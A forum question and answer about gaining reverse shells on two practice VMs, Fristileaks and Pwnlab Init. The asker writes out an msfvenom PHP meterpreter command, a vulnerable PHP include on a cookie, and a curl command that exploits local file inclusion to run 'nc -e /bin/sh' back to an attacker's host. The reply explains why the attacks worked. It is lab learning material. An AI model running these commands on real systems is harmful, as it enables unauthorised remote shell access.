Help Understanding PHP Reverse Shells

Question

I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches.
For Fristileaks 1.3, it was simple. I was able to get login credentials to the website and upload a php reverse shell. I used msfvenom for the script:
msfvenom -p php/meterpreter/reverse_tcp LHOST=xxx.xxx.x.xxx LPORT=xxxx -f raw > shell.php

I had to rename the script from shell.php to shell.php.png because the site only let me upload pictures. Once I uploaded the script, I found the url for the picture/script, set up a netcat listener on my attacking machine, and then visited the page with the script and that was enough to establish a connection between the target and attacker.
It was much more difficult to establish a connection on the Pwnlab Init VM.
Again, I gained login access to the website’s upload page.  I tried uploading the same reverse shell script but I was not able to get access after setting up a netcat listener.
What I had to do, ultimately, was upload a php backdoor script:
(/usr/share/webshells/php/simple-backdoor.php)

Then, I had to exploit the below vulnerability on the index.php page, which allows for injection into the lang cookie
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}

I then used the below curl query to pass the page with the uploaded php backdoor to the lang variable, and then netcat to my attacking machine, which I had already set to listen for a connection
curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://xxx.xxx.xxx.xxx/index.php?cmd=/bin/nc+-e+/bin/sh+xxx.xxx.xxx.xxx+xxxx

Can anybody shed any light on why it was so easy to establish a reverse shell in one instance and more involved in another?  What is going on behind the scenes in the Pwnlab VM such that visiting the URL with the uploaded reverse shell script does not work, but exploiting the lang variable with a PHP backdoor is sufficient?
I suppose you just need to have a lot of tools at your disposal and keep trying until something works, but it would help to have a concept of why one approach works and another doesn’t.

CBHacking · Answer

Broadly speaking, the difference appears to be that one server would treat any requested (or at least uploaded) file as PHP code - at least if it actually contained PHP code - while the other treated the uploaded file as an image when you requested it so you had to find another way to make the server treat it as code instead.

The first site was willing to treat an uploaded file as code, even though it was only supposed to be an image. For whatever reason - maybe it checked the file with libmagic, maybe it stored it in a directory assumed to only contain code, maybe something else - when you requested the file the server parsed it as code and executed it, rather than treating it as an image and serving it as static content.
The second site had a much less "toy-like" vulnerability. It didn't treat the uploaded file as code when a user simply requested the file; I imagine if you tried to request it you simply got a response with Content-Type: image/png and the actual content being the uploaded PHP code? The server didn't try to execute it, because it (incorrectly) identified the file (possibly by extension, possibly by some other means) as an image. However, the server also had an additional vulnerability, an attacker-controllable local file inclusion. The include function in PHP treats any specified file as PHP source, loading and executing it regardless of the extension. Thus, although you had to request for an actual PHP page (index.php) to invoke the PHP engine, you were then able to tell it "hey, treat this 'image' I uploaded as source code too" and gain code execution on the server.

Help Understanding PHP Reverse Shells

One Answer

Add your own answers!

Ask a Question